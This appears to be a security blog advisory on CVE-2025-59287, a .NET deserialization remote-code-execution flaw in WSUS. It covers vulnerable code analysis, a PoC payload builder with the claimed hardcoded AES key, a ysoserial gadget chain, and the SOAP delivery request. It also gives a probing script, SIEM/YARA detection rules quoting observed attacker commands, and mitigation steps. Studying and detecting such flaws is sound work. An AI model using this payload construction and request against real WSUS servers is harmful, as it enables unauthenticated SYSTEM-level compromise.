Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

CVE-2025-59287: Deserialization of .NET Objects as an RCE Vector in WSUS.

Leer en espanol
CVE-2025-59287: Deserialization of .NET Objects as an RCE Vector in WSUS.

Table of contents

If you manage Windows infrastructures, CVE-2025-59287 It should be your top priority. This insecure deserialization vulnerability in Windows Server Update Services (WSUS) allows unauthenticated attackers to gain full privileged control SYSTEM. Microsoft has released an Out-of-Band (OOB) patch following the appearance of functional PoCs.

How Does Vulnerability Work?

The ruling is a classic example of insecure deserialization. It is found in the internal process of WSUS when handling SOAP (web communication protocol) messages sent by clients.

The Attack Vector

The attack is directed at endpoint /ClientWebService/Client.asmx, specifically to the method GetCookie.

  1. The Fake Package: The attacker crafts a malicious .NET object (code) and encrypts it. This packet is inserted into the field <CookieData> of the SOAP request.

  2. The Code Slip: The WSUS server receives the message and decrypts it. The error is in the internal code (the function DecryptData) that, by not recognizing the decrypted object as a type of cookie expected, passes it without strict validation to the deserialization tool: BinaryFormatter.Deserialize().

  3. Code Execution (RCE): This .NET tool, when trying to reconstruct the object, executes the malicious code embedded in the payload. The result is the Total Remote Control (RCE) with privileges SYSTEM.

Technical Vulnerability Analysis

Exploitation Mechanism
The flaw lies in the internal WSUS process when handling SOAP messages on the endpoint:

CODE
/ClientWebService/Client.asmx

Having said that, let's get to what interests us. The vulnerability resides in the processing path of certain external inputs (SOAP/HTTP requests that WSUS exposes — specifically on endpoints such as /ClientWebService/Client.asmx and routes related to SoftwareDistribution) where WSUS receives data containing serialized objects.

User Input
The user sends a SOAP request to the endpoint GetCookie. After the initial processing, the execution arrives here:

JAVA
public Cookie GetCookie(AuthorizationCookie[] authCookies, Cookie oldCookie, 
                       DateTime lastChange, DateTime currentTime, string protocolVersion)
{
    if (Client.clientImplementation == null)
    {
        Client.CreateClientImplementation();
    }
    string ipaddress = this.GetIPAddress();
    return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, 
                                                currentTime, protocolVersion, ipaddress);
}

As you can see, the method is called ClientImplementation.GetCookie. This method performs several operations, such as checking if the cookie is empty and attempting to parse the protocol version. If everything works correctly, pass the data to the other method: AuthorizationManager.GetCookie.

Authorization Processing
Then proceed to the method CrackAuthorizationCookie, which checks the plugin ID provided in the SOAP request.

In UnencryptedAuthorizationCookieData and CrackAuthorizationCookie, checks if the cookie is empty and passes it to the critical method DecryptData:

DecryptData Method Vulnerable

CODE
internal object DecryptData(byte[] cookieData)
{
    if (cookieData == null)
    {
        throw new LoggedArgumentNullException("cookieData");
    }
    
    // 1. Crear el descifrador AES-128-CBC
    ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
    byte[] array;
    
    try
    {
        // 2. Validación básica del tamaño del bloque
        if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || 
            cookieData.Length <= cryptoTransform.InputBlockSize)
        {
            throw new LoggedArgumentException("Can't decrypt bogus cookieData", "cookieData");
        }
        
        // 3. Descifrado de los datos
        array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
        cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, 
                                      EncryptionHelper.scratchBuffer, 0);
        cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, 
                                      cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
    }
    finally
    {
        cryptoTransform.Dispose();
    }
    
    object obj = null;
    
    // DECISIÓN CRÍTICA: Dos caminos posibles
    if (this.classType == typeof(UnencryptedCookieData))
    {
        // Camino seguro: Deserialización controlada
        UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
        try
        {
            unencryptedCookieData.Deserialize(array);
        }
        catch (Exception ex)
        {
            if (ex is OutOfMemoryException) throw;
            throw new LoggedArgumentException(ex.ToString(), "cookieData");
        }
        obj = unencryptedCookieData;
    }
    else
    {
        // CAMINO VULNERABLE: Deserialización insegura
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        MemoryStream memoryStream = new MemoryStream(array);
        
        try
        {
            // DESERIALIZACIÓN INSEGURA
            obj = binaryFormatter.Deserialize(memoryStream);
        }
        catch (Exception ex2)
        {
            if (ex2 is OutOfMemoryException) throw;
            throw new LoggedArgumentException(ex2.ToString(), "cookieData");
        }
        
        // VALIDACIÓN TARDÍA (demasiado tarde)
        if (obj.GetType() != this.classType)
        {
            throw new LoggedArgumentException("Decrypted cookie has the wrong data type", "cookieData");
        }
    }
    return obj;
}

Critical Point Analysis

This method processes encrypted cookie data using the following steps:

  1. Basic input validation: Check if cookieData is null and validates the block size alignment.

  2. Decoded: Uses AES-128-CBC via cryptoServiceProvider.CreateDecryptor().

  3. Block processing: Splits and transforms encrypted data into decrypted blocks.

  4. Type checking: Determines whether the data is UnencryptedCookieData or require binary deserialization.

  5. Insecure deserialization: If they are not UnencryptedCookieData, passes the decrypted bytes directly to BinaryFormatter.Deserialize().

  6. Late validation: Check the type AFTER deserialization.

The fundamental problem: Between steps 4 and 6, any serialized .NET object can be instantiated and its code executed before any validation is performed.

HawkTrace Payload

The HawkTrace code generates a malicious payload that exploits this vulnerability:

JAVA
static void Main()
{
    // Clave AES hardcodeada en WSUS
    string hexKey = "877C14E433638145AD21BD0C17393071";
    byte[] key = new byte[16];
    for (int i = 0; i < 16; i++)
        key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);

    // Payload serializado de ysoserial que ejecuta "cmd /c calc"
    string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQ... [payload completo]";

    byte[] ser = Convert.FromBase64String(ysooo);
    byte[] enc = EncryptPayload(ser, key);
    string base64Payload = Convert.ToBase64String(enc);
    Console.WriteLine(base64Payload);
}

Effectively, the above code constructs a serialized object (.NET BinaryFormatter) that, once decrypted and deserialized by the vulnerable server, would execute arbitrary code via a gadget chain. In this case I would invoke Process.Start with the chain cmd /c calc safely constructed with ysoserial.

Final Exploitation

And the result would have to be added here to deliver it to the WSUS server — the element <CookieData> inside the AuthorizationCookie of the method GetCookie:

CODE
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>

Exposure Validation

To verify if your server is vulnerable, we offer you two safe and professional methods.

Vulnerability Scanning

The main vulnerability management platforms have already integrated the signature of this bug.

  • Instruction: Run an updated vulnerability scan with your tool of choice (Nessus, Qualys, OpenVAS, etc.) pointing to the WSUS ports (TCP 8530 either 8531).
  • Search Result: If the scanner explicitly reports the CVE-2025-59287 as unmitigated, your server is compromised and you must patch immediately.

Active Connectivity Detection

This script Python performs a verification passive and it is totally harmless. It simply confirms that the WSUS server is "listening" on the endpoint vulnerable. If you are listening and it hasn't been patched, the vulnerability is real.

PYTHON
#!/usr/bin/env python3
"""
Detector CVE-2025-59287 - WSUS Deserialization Vulnerability
Author: Red-Orbita 
Descripción: Verifica si el servidor WSUS es realmente vulnerable
"""

import requests
import base64
import sys
import urllib3
from typing import Dict, Any

# Deshabilitar advertencias SSL para testing interno
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class WSUSVulnerabilityDetector:
    def __init__(self, target: str, port: int = 8530):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.endpoint = f"{self.base_url}/ClientWebService/Client.asmx"
        self.session = requests.Session()
        self.session.verify = False
        self.timeout = 10
        
    def build_soap_request(self, payload_data: str = "test") -> str:
        """Construye petición SOAP para el método GetCookie"""
        return f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieData>{payload_data}</cookieData>
        </GetCookie>
    </soap:Body>
</soap:Envelope>'''
    
    def check_service_availability(self) -> bool:
        """Verifica si el servicio WSUS está activo"""
        try:
            headers = {
                'User-Agent': 'WSUS Client',
                'Content-Type': 'text/xml; charset=utf-8'
            }
            
            response = self.session.get(
                f"{self.base_url}/ClientWebService/Client.asmx",
                headers=headers,
                timeout=self.timeout
            )
            return response.status_code == 200
        except Exception as e:
            print(f"Error conectando al servicio: {e}")
            return False
    
    def test_vulnerability_signature(self) -> Dict[str, Any]:
        """
        Testea comportamientos que indican vulnerabilidad
        Envía patrones que podrían revelar la deserialización insegura
        """
        results = {
            'service_available': False,
            'endpoint_accessible': False,
            'potential_vulnerability': False,
            'details': []
        }
        
        # Verificar disponibilidad básica
        if not self.check_service_availability():
            results['details'].append("Servicio WSUS no disponible")
            return results
        
        results['service_available'] = True
        
        # Probar con diferentes payloads de prueba
        test_payloads = [
            # Payload de serialización .NET básico (inofensivo)
            "AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uRGF0YS5EYXRhU2V0Q29udmVydGVyLCBWZXJzaW9uPTQu",
            # Payload vacío
            "",
            # Payload con formato incorrecto
            "INVALID_BASE64_DATA"
        ]
        
        headers = {
            'User-Agent': 'WSUS Client',
            'Content-Type': 'text/xml; charset=utf-8',
            'SOAPAction': 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie'
        }
        
        for i, payload in enumerate(test_payloads):
            try:
                soap_body = self.build_soap_request(payload)
                
                response = self.session.post(
                    self.endpoint,
                    data=soap_body,
                    headers=headers,
                    timeout=self.timeout
                )
                
                # Analizar respuesta para detectar vulnerabilidad
                if response.status_code == 200:
                    results['endpoint_accessible'] = True
                    
                    # Comportamientos sospechosos:
                    if "Exception" in response.text or "error" in response.text.lower():
                        # El servidor procesó pero tuvo error - podría ser vulnerable
                        if i == 0:  # Solo para el payload de serialización
                            results['potential_vulnerability'] = True
                            results['details'].append("Posible vulnerabilidad detectada: respuesta a payload serializado")
                    
                    elif "GetCookieResult" in response.text:
                        results['details'].append(f"Endpoint responde correctamente al payload {i+1}")
                        
            except requests.exceptions.RequestException as e:
                results['details'].append(f"Error en prueba {i+1}: {e}")
        
        return results
    
    def generate_report(self) -> None:
        """Genera reporte completo de evaluación"""
        print(f"\nEvaluando WSUS: {self.target}:{self.port}")
        print("=" * 50)
        
        results = self.test_vulnerability_signature()
        
        print(f"Servicio disponible: {results['service_available']}")
        print(f"Endpoint accesible: {results['endpoint_accessible']}")
        print(f"Vulnerabilidad potencial: {results['potential_vulnerability']}")
        
        print("\nDetalles:")
        for detail in results['details']:
            print(f"   • {detail}")
        
        # Recomendaciones basadas en resultados
        print("\nRecomendaciones:")
        if results['potential_vulnerability']:
            print("SERVIDOR POTENCIALMENTE VULNERABLE - APLICAR PARCHE INMEDIATAMENTE")
        elif results['service_available']:
            print("Servicio activo - Verificar versión y aplicar parches preventivos")
        else:
            print("Servicio no accesible - Verificar conectividad")
        
        print("=" * 50)

def main():
    if len(sys.argv) != 2:
        print("Uso: python wsus_scanner.py <servidor_wsus>")
        print("Ejemplo: python wsus_scanner.py wsus.midominio.local")
        sys.exit(1)
    
    target = sys.argv[1]
    
    # Probar puertos comunes de WSUS
    ports = [8530, 8531, 443]
    
    for port in ports:
        detector = WSUSVulnerabilityDetector(target, port)
        detector.generate_report()

if __name__ == "__main__":
    main()

Poc Exploit:

Detection Guide (SIEM & EDR)

To identify exploitation attempts, you must look for the signature of the payload serialized on the network and abnormal execution of commands on the host.

Network Detection (SOAP Traffic)

Look for POST requests at endpoint vulnerable files containing the Base64 signature of .NET deserialization (AAEAAAD/////).

Specific Rule for Splunk (SPL)

This rule searches the logs web access (assuming the data is in the field body) POST requests directed to the exact URL and containing the signature of the payload

CODE
index=web sourcetype=iis (uri_path="/ClientWebService/Client.asmx") 
| search method="POST" AND (body="AAEAAAD/////")
| eval AlertName="WSUS RCE Attempt - CVE-2025-59287 Deserialization Signature"
| table _time, src_ip, dest_ip, uri_path, body, AlertName

 Specific Rule for Wazuh (XML)

This rule is activated if the endpoint (id="100010") and then checks for the presence of the deserialization signature in the payload (id="100011"). 

JAVA
<rule id="100010" level="10" maxsize="4096">
  <if_sid>31100</if_sid> <field name="url">/ClientWebService/Client.asmx</field>
  <description>WSUS RCE Attempt (CVE-2025-59287) - Target Endpoint Hit.</description>
</rule>

<rule id="100011" level="14" maxsize="4096">
  <if_sid>100010</if_sid> <match type="payload">AAEAAAD/////</match> <description>**CRÍTICA:** WSUS RCE Payload Injection Attempt (CVE-2025-59287) detected.</description>
  <group>attack,rce,cve</group>
</rule>

ElastciSearch Specific Rule

JSON
{
  "query": {
    "bool": {
      "must": [
        {
          "wildcard": {
            "url": "*ClientWebService/Client.asmx"
          }
        },
        {
          "match": {
            "http.request.method": "POST"
          }
        },
        {
          "wildcard": {
            "http.request.body.content": "*AAEAAAD/////*"
          }
        }
      ],
      "filter": [
        {
          "range": {
            "@timestamp": {
              "gte": "now-1h"
            }
          }
        }
      ]
    }
  }
}

This format is standard and can be translated to multiple platforms (ElasticSearch, Microsoft Sentinel, etc.).

JAVA
title: WSUS RCE Attempt via Deserialization (CVE-2025-59287)
id: 59287-wsus-rce-soap-injection
status: stable
description: Detects attempts to exploit the WSUS deserialization vulnerability by identifying SOAP POST requests containing the .NET BinaryFormatter payload signature in the body.
references:
    - https://red-orbita.com/
author: Red-Orbita
date: 2025/10/27
logsource:
    category: webserver
detection:
    selection_url:
        # Busca el endpoint ClientWebService/Client.asmx
        url|contains: '/ClientWebService/Client.asmx'
    selection_method:
        # El ataque siempre usa el método POST
        method: 'POST'
    selection_payload:
        # Firma Base64 del inicio de un objeto serializado de .NET
        body|contains: 'AAEAAAD/////'
    condition: all of selection_*
falsepositives:
    - Highly unlikely due to the unique serialized object signature.
level: critical
tags:
    - attack.rce
    - cve.2025.59287
    - service.wsus

YARA Rule for Exploit Detection:

 
PHP
rule WSUS_CVE_2025_59287_Exploit {
    meta:
        description = "Detects CVE-2025-59287 WSUS exploit attempts"
        author = "Red-Orbita SOC"
        date = "2025-10-27"
        severity = "CRITICAL"
    
    strings:
        $soap_endpoint = "/ClientWebService/Client.asmx" ascii
        $soap_action = "GetCookie" ascii
        $net_serialized = { 00 01 00 00 00 FF FF FF FF }  // Header serialización .NET
        
    condition:
        all of them and filesize < 100KB
}

YARA Rule for Exploit Detection:

SQL
rule EXPL_WSUS_Exploitation_Indicators_Oct25 {
   meta:
      description = "Detects indicators related to the exploitation of the Windows Server Update Services (WSUS) Remote Code Execution Vulnerability (CVE-2025-59287)"
      author = "Florian Roth"
      reference = "https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability"
      date = "2025-10-25"
      score = 75
   strings:
      // Error traceback found in C:\Program Files\Update Services\Logfiles\SoftwareDistribution.log
      $sl1 = "at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context" ascii wide
      $sl2 = "at System.Runtime.Serialization.ObjectManager.DoFixups()" ascii wide
      $sl3 = "at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject" ascii wide
      $sl4 = "System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation." ascii wide
      $sl5 = "ErrorWsusService.9HmtWebServices.CheckReportingWebServiceReporting WebService WebException:System.Net.WebException: Unable to connect to the remote server" ascii wide

      // Encoded PowerShell command observed in exploitation attempts
      $se1 = "powershell -ec try{$r= (&{echo https://" ascii wide base64 base64wide
      $se2 = ":8531; net user /domain; ipconfig " ascii wide base64 base64wide

      // Commands observed in follow-up activity
      $sa1 = "whoami;net user /domain" ascii wide base64 base64wide
      $sa2 = "net user /domain; ipconfig /all" ascii wide base64 base64wide
   condition:
      all of ($sl*)
      or 1 of ($se*)
      or all of ($sa*)
}

Host Detection (Sysmon: The Execution)

Monitor WSUS processes to detect the execution of shells or malicious binaries.

CODE
index=sysmon EventID=1
| where Image IN ("*\\cmd.exe","*\\calc.exe","*\\powershell.exe")
| where ParentImage IN ("*\\w3wp.exe","*\\WsusService.exe","*\\svchost.exe")
| stats count by Computer, Image, ParentImage, CommandLine, _time

Immediate Mitigation Action

  • Patch Right Now: Apply the patch Out-of-Band (OOB) from Microsoft for WSUS (look for the October 2025 security update). It is the only way to eliminate the root cause.

  • Extreme Segmentation: Make sure the WSUS ports (TCP 8530 and 8531) NEVER are exposed to the Internet. Restrict their access only to the organization's internal clients and servers.

  • Reinforced Monitoring: Raise the level of logging for WSUS child processes and monitor for any unusual outgoing connections on the server.

:wq!

Comments